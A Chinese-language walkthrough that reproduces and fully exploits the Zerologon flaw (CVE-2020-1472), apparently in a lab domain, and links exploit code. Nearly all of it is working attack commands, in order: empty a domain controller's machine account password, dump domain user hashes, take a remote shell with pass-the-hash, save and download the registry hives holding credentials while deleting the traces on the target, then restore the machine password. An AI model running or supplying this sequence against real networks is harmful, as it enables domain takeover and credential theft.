CVE-2020-1472复现与完整利用
CATALOG
漏洞原理
原理比较复杂,有兴趣的可以看看下面链接上的文章https://www.freebuf.com/articles/system/249860.html
利用
1.修改文件impacket.dcerpc.v5.nrpc
需要利用https://github.com/SecureAuthCorp/impacket/edit/master/impacket/dcerpc/v5/nrpc.py文件替换本机上的nrpc文件。本机nrpc文件存储路径为:C:\Users\Administrator\AppData\Local\Programs\Python\Python38\Lib\site-packages\impacket\dcerpc\v5\nrpc.py
2.置空机器账户yukong$密码
python cve-2020-1472-exploit.py 机器账户名 ip
且发现机器账户的密码已经置空,31dc…代表空密码。
获取对方机器账号或者说netbios名的方式:
- net view
这个服务器名称带上$就是机器名,例如lisi$或者yukong$。
- nbtstat -A ip
确定域控ip的方法有很多,例如:- 查看开启53端口的主机
- net time看回显会返回域控的主机名,然后ping即可
- systeminfo命令查看域那块儿的值,ping一下就是域控的ip
- 看自己主机的dns
3.读取administrator密码
python secretsdump.py test.com/yukong$@192.168.124.142 -no-pass
发现此时可以使用空密码的机器账户读取域控上的用户hash。
4.下载目标的sam文件为下一步恢复机器密码做准备
python wmiexec.py -hashes :3dbde697d71690a769204beb12283678 test/administrator@192.168.124.142
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit
执行完成后可在wmiexec脚本所在的文件夹发现下载下来的文件:
python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 test.com/yukong$@192.168.124.142 -use-vss
此命令执行失败
5.破解sam文件查看过去的机器密码
python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
保存红色圈中的密码,这个就是过去的机器密码,也就是aad3b435b51404eeaad3b435b51404ee:999699ceadecae87fef9a2040ef2213a。
6.重制密码yukong$机器密码
python reinstall_original_pw.py yukong$ 192.168.124.142 999699ceadecae87fef9a2040ef2213a
7.查看密码是否恢复成功
python secretsdump.py test.com/administrator:123@192.168.124.142 -just-dc-user yukong$
python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204beb12283678 test/administrator@192.168.124.142 -just-dc-user yukong$
发现恢复成功。
代码:https://github.com/shanfenglan/cve-2020-1472